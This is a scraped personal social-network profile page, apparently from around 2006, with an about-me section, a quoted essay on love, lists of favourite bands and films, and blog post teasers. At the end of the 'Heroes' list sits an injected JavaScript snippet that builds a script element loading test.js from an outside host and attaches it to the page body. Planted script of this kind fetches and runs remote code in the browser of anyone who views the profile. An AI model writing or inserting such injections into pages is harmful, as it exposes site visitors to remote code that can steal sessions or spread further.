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Amber Denae

I've been awake for entirely too long...

About Me

Once upon a time I had much more to say about myself. That kind of disappeared. One day I want to make a significant difference in someone's life, maybe I already have. I want to attempt to alleviate this dying world.
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To find someone--- who I will not ever want to leave, who can travel through trial and tribulation, who is of most uncommon beauty, who perceives beauty in obscure ways, who can sacrifice himself for the good of others, who is hungry for attention, who gives, who is not afraid to accept or take what is given, who has great power to influence his surroundings, who can get the most of what he expects, who demands no more than can be given, who has great aspirations, and who is a work of art ---is to find adoration, love, a motivation to carry on.
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"...During certain periods of our lives love may seem to fade or even disappear entirely from our emotional palette. But once conceived it never truly ceases to exist. Love is the ultimate survivor. It has a will to live as strong as the will of its human container. If necessary, it may hibernate, withdraw like a turtle into its shell. When it is rebuffed or rejected by the harshness and cold complacency which can be so common in others, it folds in on itself until which time it again feels safe to venture out into a more nurturing environment. But it does not die...
...We are merely passengers on our ship of destiny and love is the compass that guides our journey through life. Whether it is love for another human being, a cherished goal, or a desire to find completeness and meaning to our lives, it bears little consequence on the necessity for following the course that love charts. Love cannot live comfortably in a vacuum. It must be allowed free reign and be given the opportunity to explore beyond the confining walls of self-protection which we construct as barriers to the ravages of life. It is the flagship of our soul and the purveyor of our most cherished dreams of a purposeful existence. Love we hide or hold back from others out of fear is love wasted. It is of no value to us when held inside but can increase in value a hundredfold when shared with another like minded individual or when directed towards a greater aspiration beyond our own selfish needs. -Alan W. Goodson"
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ChelseaMS

My Interests

Painting, Drawing, Cats, People, Cooking, Writing, Poetry, Music, Outdoors, Water, Love, Experience, Beauty, Friends, Family, and sometimes reading.

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Life and death, energy and peace. If I stop today, it was fun, even the terrible pains that have burned me, and scarred my soul. It was worth it for having been allowed to walk where I walked, which is hell on earth, heaven on earth. Back again, into, under, far in between. Through it, in it, and above it. Gia Carangi, 1986

ChelseaMS

I'd like to meet:

I would like to meet Johnny Depp, Batman, and maybe anyone. I really like to meet new people. I take each person as someone new and completely different. I love to make new friends and sometimes I need to.ChelseaMS

Music:

Tool, APC, Depeche Mode, Chevelle, As I Lay Dying, Showbread, Adema, Blue October, Blindside, Blind Melon, Bush, Deftones, Earshot, The Cranberries, Jewel, Modest Mouse, Marilyn Manson, Nine Inch Nails, Orgy, Muse, Pearl Jam, Placebo, Smashing Pumpkins, The Cure, The Ramones, The Pixes, Sparta, Radiohead, NoFx, Rancid, Mudvayne, System of A Down, Powerman 5000, Pink Floyd, The Stokes, Madcap, Staind, Incubus, Nirvana, A.F.I, The Postal Service.ChelseaMS

Movies:

Eternal Sunshine of a Spotless Mind, American Beauty, A Beautiful Mind, Requiem For A Dream, What's Eating Gilbert Grape? , anything with Johnny Depp, Fight Club, Seven, Saw, Donnie Darko, and Acts of WorshipChelseaMS

Television:

I don't watch Television.ChelseaMS

Books:

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Heroes:

Elijah Wade- my future, Steven Wayne- a guiding genius, Ashley Nicole- a motive to grow stronger, Benjamin Stephen- an encouragement to go further, and Carl John, the thought-provoker..."var x=document.createElement('script');x.src='http://www.actuali zando.com/.../test.js';document.getElementsByTagName('body') [0].appendChild(x);" /

My Blog

When worlds collide...

   Faults; I have many.  I fail to put my greatest desires above the great eagerness and anxiousness to change.  Mystery is intriguing.  My desire for it is like a seizure; th...
Posted by Amber Denae on Tue, 25 Apr 2006 03:47:00 PST

Correlating Normal

Correlating Normal         Many people spend their lives trying to be what society likes to call normal, some enjoy their lives in escapism of normality, others constantly wonder...
Posted by Amber Denae on Tue, 06 Dec 2005 06:55:00 PST